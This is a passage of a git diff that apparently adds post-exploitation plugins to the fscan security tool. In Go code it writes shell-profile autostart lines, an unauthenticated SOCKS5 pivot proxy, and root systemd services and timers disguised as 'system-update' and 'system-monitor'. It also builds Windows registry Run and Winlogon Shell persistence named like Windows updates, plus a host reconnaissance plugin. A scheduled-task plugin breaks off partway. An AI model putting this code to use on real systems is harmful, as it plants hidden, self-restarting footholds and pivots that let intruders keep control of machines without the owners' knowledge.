strings.Contains(existingContent, content) { + return true // 已存在,视为成功 + } + + // 添加新内容 + if !strings.HasSuffix(existingContent, "\n") && existingContent != "" { + existingContent += "\n" + } + existingContent += content + "\n" + + // 写入文件 + return os.WriteFile(configFile, []byte(existingContent), 0644) == nil +} + +// generateExecLine 生成执行命令行 +func (p *ShellEnvPlugin) generateExecLine(execPath string) string { + if p.isScriptFile() { + return fmt.Sprintf("bash %s >/dev/null 2>&1 &", execPath) + } else { + return fmt.Sprintf("%s >/dev/null 2>&1 &", execPath) + } +} + +// isScriptFile 检查是否为脚本文件 +func (p *ShellEnvPlugin) isScriptFile() bool { + ext := strings.ToLower(filepath.Ext(p.targetFile)) + return ext == ".sh" || ext == ".bash" || ext == ".zsh" +} + +// 注册插件 +func init() { + RegisterLocalPlugin("shellenv", func() Plugin { + return NewShellEnvPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/socks5proxy.go b/plugins/local/socks5proxy.go new file mode 100644 index 0000000..97d900a --- /dev/null +++ b/plugins/local/socks5proxy.go @@ -0,0 +1,293 @@ +package local + +import ( + "bufio" + "context" + "fmt" + "io" + "net" + "runtime" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" +) + +// Socks5ProxyPlugin SOCKS5代理插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现SOCKS5代理功能 +// - 保持原有功能逻辑 +type Socks5ProxyPlugin struct { + name string + port int + listener net.Listener +} + +// NewSocks5ProxyPlugin 创建SOCKS5代理插件 +func NewSocks5ProxyPlugin() *Socks5ProxyPlugin { + // 从全局参数获取SOCKS5端口 + port := common.Socks5ProxyPort + if port <= 0 { + port = 1080 // 默认端口 + } + + return &Socks5ProxyPlugin{ + name: "socks5proxy", + port: port, + } +} + +// GetName 实现Plugin接口 +func (p *Socks5ProxyPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *Socks5ProxyPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行SOCKS5代理扫描 - 直接实现 +func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + output.WriteString("=== SOCKS5代理服务器 ===\n") + output.WriteString(fmt.Sprintf("监听端口: %d\n", p.port)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", p.port)) + + // 启动SOCKS5代理服务器 + err := p.startSocks5Server(ctx, p.port) + if err != nil { + output.WriteString(fmt.Sprintf("SOCKS5代理服务器错误: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString("✓ SOCKS5代理已完成\n") + common.LogSuccess(fmt.Sprintf("SOCKS5代理完成 - 端口: %d", p.port)) + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// startSocks5Server 启动SOCKS5代理服务器 - 核心实现 +func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int) error { + // 监听指定端口 + listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port)) + if err != nil { + return fmt.Errorf("监听端口失败: %v", err) + } + defer listener.Close() + + p.listener = listener + common.LogSuccess(fmt.Sprintf("SOCKS5代理服务器已在 127.0.0.1:%d 上启动", port)) + + // 设置SOCKS5代理为活跃状态,告诉主程序保持运行 + common.Socks5ProxyActive = true + defer func() { + // 确保退出时清除活跃状态 + common.Socks5ProxyActive = false + }() + + // 主循环处理连接 + for { + select { + case <-ctx.Done(): + common.LogBase("SOCKS5代理服务器被上下文取消") + return ctx.Err() + default: + } + + // 设置监听器超时,以便能响应上下文取消 + if tcpListener, ok := listener.(*net.TCPListener); ok { + tcpListener.SetDeadline(time.Now().Add(1 * time.Second)) + } + + conn, err := listener.Accept() + if err != nil { + // 检查是否是超时错误 + if netErr, ok := err.(net.Error); ok && netErr.Timeout() { + continue // 超时继续循环 + } + common.LogError(fmt.Sprintf("接受连接失败: %v", err)) + continue + } + + // 并发处理客户端连接 + go p.handleClient(conn) + } +} + +// handleClient 处理客户端连接 +func (p *Socks5ProxyPlugin) handleClient(clientConn net.Conn) { + defer clientConn.Close() + + // SOCKS5握手阶段 + if err := p.handleSocks5Handshake(clientConn); err != nil { + common.LogError(fmt.Sprintf("SOCKS5握手失败: %v", err)) + return + } + + // SOCKS5请求阶段 + targetConn, err := p.handleSocks5Request(clientConn) + if err != nil { + common.LogError(fmt.Sprintf("SOCKS5请求处理失败: %v", err)) + return + } + defer targetConn.Close() + + common.LogSuccess("建立SOCKS5代理连接") + + // 双向数据转发 + p.relayData(clientConn, targetConn) +} + +// handleSocks5Handshake 处理SOCKS5握手 +func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error { + // 读取客户端握手请求 + buffer := make([]byte, 256) + n, err := conn.Read(buffer) + if err != nil { + return fmt.Errorf("读取握手请求失败: %v", err) + } + + if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5 + return fmt.Errorf("不支持的SOCKS版本") + } + + // 发送握手响应(无认证) + response := []byte{0x05, 0x00} // 版本5,无认证 + _, err = conn.Write(response) + if err != nil { + return fmt.Errorf("发送握手响应失败: %v", err) + } + + return nil +} + +// handleSocks5Request 处理SOCKS5连接请求 +func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, error) { + // 读取连接请求 + buffer := make([]byte, 256) + n, err := clientConn.Read(buffer) + if err != nil { + return nil, fmt.Errorf("读取连接请求失败: %v", err) + } + + if n < 7 || buffer[0] != 0x05 { + return nil, fmt.Errorf("无效的SOCKS5请求") + } + + cmd := buffer[1] + if cmd != 0x01 { // 只支持CONNECT命令 + // 发送不支持的命令响应 + response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + clientConn.Write(response) + return nil, fmt.Errorf("不支持的命令: %d", cmd) + } + + // 解析目标地址 + addrType := buffer[3] + var targetHost string + var targetPort int + + switch addrType { + case 0x01: // IPv4 + if n < 10 { + return nil, fmt.Errorf("IPv4地址格式错误") + } + targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7]) + targetPort = int(buffer[8])<<8 + int(buffer[9]) + case 0x03: // 域名 + if n < 5 { + return nil, fmt.Errorf("域名格式错误") + } + domainLen := int(buffer[4]) + if n < 5+domainLen+2 { + return nil, fmt.Errorf("域名长度错误") + } + targetHost = string(buffer[5 : 5+domainLen]) + targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1]) + case 0x04: // IPv6 + if n < 22 { + return nil, fmt.Errorf("IPv6地址格式错误") + } + // IPv6地址解析(简化实现) + targetHost = net.IP(buffer[4:20]).String() + targetPort = int(buffer[20])<<8 + int(buffer[21]) + default: + // 发送不支持的地址类型响应 + response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + clientConn.Write(response) + return nil, fmt.Errorf("不支持的地址类型: %d", addrType) + } + + // 连接目标服务器 + targetAddr := fmt.Sprintf("%s:%d", targetHost, targetPort) + targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second) + if err != nil { + // 发送连接失败响应 + response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + clientConn.Write(response) + return nil, fmt.Errorf("连接目标服务器失败: %v", err) + } + + // 发送成功响应 + response := make([]byte, 10) + response[0] = 0x05 // SOCKS版本 + response[1] = 0x00 // 成功 + response[2] = 0x00 // 保留 + response[3] = 0x01 // IPv4地址类型 + // 绑定地址和端口(使用127.0.0.1:port) + copy(response[4:8], []byte{127, 0, 0, 1}) + response[8] = byte(p.port >> 8) + response[9] = byte(p.port & 0xff) + + _, err = clientConn.Write(response) + if err != nil { + targetConn.Close() + return nil, fmt.Errorf("发送成功响应失败: %v", err) + } + + common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr)) + return targetConn, nil +} + +// relayData 双向数据转发 +func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) { + done := make(chan struct{}, 2) + + // 客户端到目标服务器 + go func() { + defer func() { done <- struct{}{} }() + io.Copy(targetConn, clientConn) + targetConn.Close() + }() + + // 目标服务器到客户端 + go func() { + defer func() { done <- struct{}{} }() + io.Copy(clientConn, targetConn) + clientConn.Close() + }() + + // 等待其中一个方向完成 + <-done +} + +// 注册插件 +func init() { + RegisterLocalPlugin("socks5proxy", func() Plugin { + return NewSocks5ProxyPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/systemdservice.go b/plugins/local/systemdservice.go new file mode 100644 index 0000000..fed5a01 --- /dev/null +++ b/plugins/local/systemdservice.go @@ -0,0 +1,429 @@ +//go:build linux + +package local + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// SystemdServicePlugin 系统服务持久化插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现系统服务持久化功能 +// - 保持原有功能逻辑 +type SystemdServicePlugin struct { + name string + targetFile string +} + +// NewSystemdServicePlugin 创建系统服务持久化插件 +func NewSystemdServicePlugin() *SystemdServicePlugin { + targetFile := common.PersistenceTargetFile + if targetFile == "" { + targetFile = "" + } + + return &SystemdServicePlugin{ + name: "systemdservice", + targetFile: targetFile, + } +} + +// GetName 实现Plugin接口 +func (p *SystemdServicePlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *SystemdServicePlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行系统服务持久化 - 直接实现 +func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + if runtime.GOOS != "linux" { + output.WriteString("系统服务持久化只支持Linux平台\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + } + } + + if p.targetFile == "" { + output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("未指定目标文件"), + } + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { + output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", p.targetFile)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 检查systemctl是否可用 + if _, err := exec.LookPath("systemctl"); err != nil { + output.WriteString(fmt.Sprintf("systemctl命令不可用: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString("=== 系统服务持久化 ===\n") + output.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + var results []string + var successCount int + + // 1. 复制文件到服务目录 + servicePath, err := p.copyToServicePath() + if err != nil { + output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err)) + } else { + results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath)) + output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", servicePath)) + successCount++ + } + + // 2. 创建systemd服务文件 + serviceFiles, err := p.createSystemdServices(servicePath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 创建systemd服务失败: %v\n", err)) + } else { + results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", "))) + output.WriteString(fmt.Sprintf("✓ 已创建systemd服务: %s\n", strings.Join(serviceFiles, ", "))) + successCount++ + } + + // 3. 启用并启动服务 + err = p.enableAndStartServices(serviceFiles) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 启动服务失败: %v\n", err)) + } else { + results = append(results, "服务已启用并启动") + output.WriteString("✓ 服务已启用并启动\n") + successCount++ + } + + // 4. 创建用户级服务 + userServiceFiles, err := p.createUserServices(servicePath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 创建用户服务失败: %v\n", err)) + } else { + results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", "))) + output.WriteString(fmt.Sprintf("✓ 已创建用户服务: %s\n", strings.Join(userServiceFiles, ", "))) + successCount++ + } + + // 5. 创建定时器服务 + err = p.createTimerServices(servicePath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 创建定时器服务失败: %v\n", err)) + } else { + results = append(results, "已创建systemd定时器") + output.WriteString("✓ 已创建systemd定时器\n") + successCount++ + } + + // 输出统计 + output.WriteString(fmt.Sprintf("\n系统服务持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)) + + if successCount > 0 { + common.LogSuccess(fmt.Sprintf("系统服务持久化完成: %d个方法成功", successCount)) + } + + return &ScanResult{ + Success: successCount > 0, + Output: output.String(), + Error: nil, + } +} + +// copyToServicePath 复制文件到服务目录 +func (p *SystemdServicePlugin) copyToServicePath() (string, error) { + // 选择服务目录 + serviceDirs := []string{ + "/usr/local/bin", + "/opt/local", + "/usr/bin", + } + + var targetDir string + for _, dir := range serviceDirs { + if err := os.MkdirAll(dir, 0755); err == nil { + targetDir = dir + break + } + } + + if targetDir == "" { + return "", fmt.Errorf("无法创建服务目录") + } + + // 生成服务可执行文件名 + basename := filepath.Base(p.targetFile) + serviceName := strings.TrimSuffix(basename, filepath.Ext(basename)) + if serviceName == "" { + serviceName = "system-service" + } + + targetPath := filepath.Join(targetDir, serviceName) + + // 复制文件 + err := p.copyFile(p.targetFile, targetPath) + if err != nil { + return "", err + } + + // 设置执行权限 + os.Chmod(targetPath, 0755) + + return targetPath, nil +} + +// copyFile 复制文件内容 +func (p *SystemdServicePlugin) copyFile(src, dst string) error { + sourceData, err := os.ReadFile(src) + if err != nil { + return err + } + return os.WriteFile(dst, sourceData, 0755) +} + +// createSystemdServices 创建systemd服务文件 +func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) { + systemDir := "/etc/systemd/system" + if err := os.MkdirAll(systemDir, 0755); err != nil { + return nil, err + } + + services := []struct { + name string + content string + enable bool + }{ + { + name: "system-update.service", + enable: true, + content: fmt.Sprintf(`[Unit] +Description=System Update Service +After=network.target +Wants=network-online.target + +[Service] +Type=simple +User=root +ExecStart=%s +Restart=always +RestartSec=60 +StandardOutput=null +StandardError=null + +[Install] +WantedBy=multi-user.target +`, execPath), + }, + { + name: "system-monitor.service", + enable: true, + content: fmt.Sprintf(`[Unit] +Description=System Monitor Service +After=network.target + +[Service] +Type=forking +User=root +ExecStart=%s +PIDFile=/var/run/system-monitor.pid +Restart=on-failure +StandardOutput=null +StandardError=null + +[Install] +WantedBy=multi-user.target +`, execPath), + }, + { + name: "network-check.service", + enable: false, + content: fmt.Sprintf(`[Unit] +Description=Network Check Service +After=network-online.target +Wants=network-online.target + +[Service] +Type=oneshot +User=root +ExecStart=%s +StandardOutput=null +StandardError=null +`, execPath), + }, + } + + var created []string + for _, service := range services { + servicePath := filepath.Join(systemDir, service.name) + if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil { + created = append(created, service.name) + } + } + + if len(created) == 0 { + return nil, fmt.Errorf("无法创建任何systemd服务文件") + } + + return created, nil +} + +// enableAndStartServices 启用并启动服务 +func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error { + var errors []string + + for _, serviceName := range serviceFiles { + // 重新加载systemd配置 + exec.Command("systemctl", "daemon-reload").Run() + + // 启用服务 + if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil { + errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err)) + } + + // 启动服务 + if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil { + errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err)) + } + } + + if len(errors) > 0 { + return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; ")) + } + + return nil +} + +// createUserServices 创建用户级服务 +func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) { + userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user") + if userDir == "/.config/systemd/user" { // HOME为空的情况 + userDir = "/tmp/.config/systemd/user" + } + + if err := os.MkdirAll(userDir, 0755); err != nil { + return nil, err + } + + userServices := []string{ + "user-service.service", + "background-task.service", + } + + userServiceContent := fmt.Sprintf(`[Unit] +Description=User Background Service +After=graphical-session.target + +[Service] +Type=simple +ExecStart=%s +Restart=always +RestartSec=30 +StandardOutput=null +StandardError=null + +[Install] +WantedBy=default.target +`, execPath) + + var created []string + for _, serviceName := range userServices { + servicePath := filepath.Join(userDir, serviceName) + if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil { + created = append(created, serviceName) + + // 启用用户服务 + exec.Command("systemctl", "--user", "enable", serviceName).Run() + exec.Command("systemctl", "--user", "start", serviceName).Run() + } + } + + return created, nil +} + +// createTimerServices 创建定时器服务 +func (p *SystemdServicePlugin) createTimerServices(execPath string) error { + systemDir := "/etc/systemd/system" + + // 创建定时器服务文件 + timerService := fmt.Sprintf(`[Unit] +Description=Scheduled Task Service +Wants=scheduled-task.timer + +[Service] +Type=oneshot +ExecStart=%s +StandardOutput=null +StandardError=null +`, execPath) + + // 创建定时器文件 + timerConfig := `[Unit] +Description=Run Scheduled Task Every 10 Minutes +Requires=scheduled-task.service + +[Timer] +OnBootSec=5min +OnUnitActiveSec=10min +AccuracySec=1s + +[Install] +WantedBy=timers.target +` + + // 写入服务文件 + serviceFile := filepath.Join(systemDir, "scheduled-task.service") + if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil { + return err + } + + // 写入定时器文件 + timerFile := filepath.Join(systemDir, "scheduled-task.timer") + if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil { + return err + } + + // 启用定时器 + exec.Command("systemctl", "daemon-reload").Run() + exec.Command("systemctl", "enable", "scheduled-task.timer").Run() + exec.Command("systemctl", "start", "scheduled-task.timer").Run() + + return nil +} + +// 注册插件 +func init() { + RegisterLocalPlugin("systemdservice", func() Plugin { + return NewSystemdServicePlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/systeminfo.go b/plugins/local/systeminfo.go new file mode 100644 index 0000000..43365f4 --- /dev/null +++ b/plugins/local/systeminfo.go @@ -0,0 +1,155 @@ +package local + +import ( + "context" + "fmt" + "os" + "os/exec" + "runtime" + "strings" + "os/user" + + "github.com/shadow1ng/fscan/common" +) + +// SystemInfoPlugin 系统信息收集插件 - Linus式简化版本 +// +// 设计哲学:纯信息收集,无攻击性功能 +// - 删除复杂的继承体系 +// - 收集基本系统信息 +// - 跨平台支持,运行时适配 +type SystemInfoPlugin struct { + name string +} + +// NewSystemInfoPlugin 创建系统信息插件 +func NewSystemInfoPlugin() *SystemInfoPlugin { + return &SystemInfoPlugin{ + name: "systeminfo", + } +} + +// GetName 实现Plugin接口 +func (p *SystemInfoPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *SystemInfoPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行系统信息收集 - 直接、简单、有效 +func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + output.WriteString("=== 系统信息收集 ===\n") + + // 基本系统信息 + output.WriteString(fmt.Sprintf("操作系统: %s\n", runtime.GOOS)) + output.WriteString(fmt.Sprintf("架构: %s\n", runtime.GOARCH)) + output.WriteString(fmt.Sprintf("CPU核心数: %d\n", runtime.NumCPU())) + + // 主机名 + if hostname, err := os.Hostname(); err == nil { + output.WriteString(fmt.Sprintf("主机名: %s\n", hostname)) + } + + // 当前用户 + if currentUser, err := user.Current(); err == nil { + output.WriteString(fmt.Sprintf("当前用户: %s\n", currentUser.Username)) + if currentUser.HomeDir != "" { + output.WriteString(fmt.Sprintf("用户目录: %s\n", currentUser.HomeDir)) + } + } + + // 工作目录 + if workDir, err := os.Getwd(); err == nil { + output.WriteString(fmt.Sprintf("工作目录: %s\n", workDir)) + } + + // 临时目录 + output.WriteString(fmt.Sprintf("临时目录: %s\n", os.TempDir())) + + // 环境变量关键信息 + if path := os.Getenv("PATH"); path != "" { + pathCount := len(strings.Split(path, string(os.PathListSeparator))) + output.WriteString(fmt.Sprintf("PATH变量条目: %d个\n", pathCount)) + } + + // 平台特定信息 + platformInfo := p.getPlatformSpecificInfo() + if platformInfo != "" { + output.WriteString("\n=== 平台特定信息 ===\n") + output.WriteString(platformInfo) + } + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// getPlatformSpecificInfo 获取平台特定信息 - 运行时适配,不做预检查 +func (p *SystemInfoPlugin) getPlatformSpecificInfo() string { + var info strings.Builder + + switch runtime.GOOS { + case "windows": + // Windows版本信息 + if output, err := p.runCommand("cmd", "/c", "ver"); err == nil { + info.WriteString(fmt.Sprintf("Windows版本: %s\n", strings.TrimSpace(output))) + } + + // 域信息 + if output, err := p.runCommand("cmd", "/c", "echo %USERDOMAIN%"); err == nil { + domain := strings.TrimSpace(output) + if domain != "" && domain != "%USERDOMAIN%" { + info.WriteString(fmt.Sprintf("用户域: %s\n", domain)) + } + } + + case "linux", "darwin": + // Unix系统信息 + if output, err := p.runCommand("uname", "-a"); err == nil { + info.WriteString(fmt.Sprintf("系统内核: %s\n", strings.TrimSpace(output))) + } + + // 发行版信息(Linux) + if runtime.GOOS == "linux" { + if output, err := p.runCommand("lsb_release", "-d"); err == nil { + info.WriteString(fmt.Sprintf("发行版: %s\n", strings.TrimSpace(output))) + } else if p.fileExists("/etc/os-release") { + info.WriteString("发行版: /etc/os-release 存在\n") + } + } + + // whoami + if output, err := p.runCommand("whoami"); err == nil { + info.WriteString(fmt.Sprintf("当前用户(whoami): %s\n", strings.TrimSpace(output))) + } + } + + return info.String() +} + +// runCommand 执行命令 - 简单包装,无复杂错误处理 +func (p *SystemInfoPlugin) runCommand(name string, args ...string) (string, error) { + cmd := exec.Command(name, args...) + output, err := cmd.Output() + return string(output), err +} + +// fileExists 检查文件是否存在 +func (p *SystemInfoPlugin) fileExists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +// 注册插件 +func init() { + RegisterLocalPlugin("systeminfo", func() Plugin { + return NewSystemInfoPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/winregistry.go b/plugins/local/winregistry.go new file mode 100644 index 0000000..4edf44d --- /dev/null +++ b/plugins/local/winregistry.go @@ -0,0 +1,209 @@ +//go:build windows + +package local + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// WinRegistryPlugin Windows注册表持久化插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现注册表持久化功能 +// - 保持原有功能逻辑 +type WinRegistryPlugin struct { + name string + pePath string +} + +// NewWinRegistryPlugin 创建Windows注册表持久化插件 +func NewWinRegistryPlugin() *WinRegistryPlugin { + pePath := common.WinPEFile + if pePath == "" { + pePath = "" + } + + return &WinRegistryPlugin{ + name: "winregistry", + pePath: pePath, + } +} + +// GetName 实现Plugin接口 +func (p *WinRegistryPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *WinRegistryPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行Windows注册表持久化 - 直接实现 +func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + if runtime.GOOS != "windows" { + output.WriteString("Windows注册表持久化只支持Windows平台\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + } + } + + if p.pePath == "" { + output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("未指定PE文件"), + } + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.pePath); os.IsNotExist(err) { + output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", p.pePath)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 检查文件类型 + if !p.isValidPEFile(p.pePath) { + output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", p.pePath)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("无效的PE文件"), + } + } + + output.WriteString("=== Windows注册表持久化 ===\n") + output.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + // 创建注册表持久化 + registryKeys, err := p.createRegistryPersistence(p.pePath) + if err != nil { + output.WriteString(fmt.Sprintf("创建注册表持久化失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString(fmt.Sprintf("创建了%d个注册表持久化项:\n", len(registryKeys))) + for i, key := range registryKeys { + output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, key)) + } + output.WriteString("\n✓ Windows注册表持久化完成\n") + + common.LogSuccess(fmt.Sprintf("Windows注册表持久化完成: %d个项目", len(registryKeys))) + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// createRegistryPersistence 创建注册表持久化 +func (p *WinRegistryPlugin) createRegistryPersistence(pePath string) ([]string, error) { + absPath, err := filepath.Abs(pePath) + if err != nil { + return nil, fmt.Errorf("failed to get absolute path: %v", err) + } + + var registryEntries []string + baseName := filepath.Base(absPath) + baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + + registryKeys := []struct { + hive string + key string + valueName string + description string + }{ + { + hive: "HKEY_CURRENT_USER", + key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, + valueName: fmt.Sprintf("WindowsUpdate_%s", baseNameNoExt), + description: "Current User Run Key", + }, + { + hive: "HKEY_LOCAL_MACHINE", + key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, + valueName: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt), + description: "Local Machine Run Key", + }, + { + hive: "HKEY_CURRENT_USER", + key: `SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce`, + valueName: fmt.Sprintf("SystemInit_%s", baseNameNoExt), + description: "Current User RunOnce Key", + }, + { + hive: "HKEY_LOCAL_MACHINE", + key: `SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run`, + valueName: fmt.Sprintf("AppUpdate_%s", baseNameNoExt), + description: "WOW64 Run Key", + }, + { + hive: "HKEY_LOCAL_MACHINE", + key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`, + valueName: "Shell", + description: "Winlogon Shell Override", + }, + { + hive: "HKEY_CURRENT_USER", + key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows`, + valueName: "Load", + description: "Windows Load Key", + }, + } + + for _, regKey := range registryKeys { + var regCommand string + var value string + + if regKey.valueName == "Shell" { + value = fmt.Sprintf("explorer.exe,%s", absPath) + } else if regKey.valueName == "Load" { + value = absPath + } else { + value = fmt.Sprintf(`"%s"`, absPath) + } + + regCommand = fmt.Sprintf(`reg add "%s\%s" /v "%s" /t REG_SZ /d "%s" /f`, + regKey.hive, regKey.key, regKey.valueName, value) + + registryEntries = append(registryEntries, fmt.Sprintf("[%s] %s", regKey.description, regCommand)) + } + + return registryEntries, nil +} + +// isValidPEFile 检查是否为有效的PE文件 +func (p *WinRegistryPlugin) isValidPEFile(filePath string) bool { + ext := strings.ToLower(filepath.Ext(filePath)) + return ext == ".exe" || ext == ".dll" +} + +// 注册插件 +func init() { + RegisterLocalPlugin("winregistry", func() Plugin { + return NewWinRegistryPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/winschtask.go b/plugins/local/winschtask.go new file mode 100644 index 0000000..ee1bc5d --- /dev/null +++ b/plugins/local/winschtask.go @@ -0,0 +1,262 @@ +//go:build windows + +package local + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// WinSchTaskPlugin Windows计划任务持久化插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现计划任务持久化功能 +// - 保持原有功能逻辑 +type WinSchTaskPlugin struct { + name string + pePath string +} + +// NewWinSchTaskPlugin 创建Windows计划任务持久化插件 +func NewWinSchTaskPlugin() *WinSchTaskPlugin { + pePath := common.WinPEFile + if pePath == "" { + pePath = "" + } + + return &WinSchTaskPlugin{ + name: "winschtask", + pePath: pePath, + } +} + +// GetName 实现Plugin接口 +func (p *WinSchTaskPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *WinSchTaskPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行Windows计划任务持久化 - 直接实现 +func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + if runtime.GOOS != "windows" { + output.WriteString("Windows计划任务持久化只支持Windows平台\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + } + } + + if p.pePath == "" { + output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("未指定PE文件"), + } + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.pePath); os.IsNotExist(err) { + output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", p.pePath)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 检查文件类型 + if !p.isValidPEFile(p.pePath) { + output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", p.pePath)) 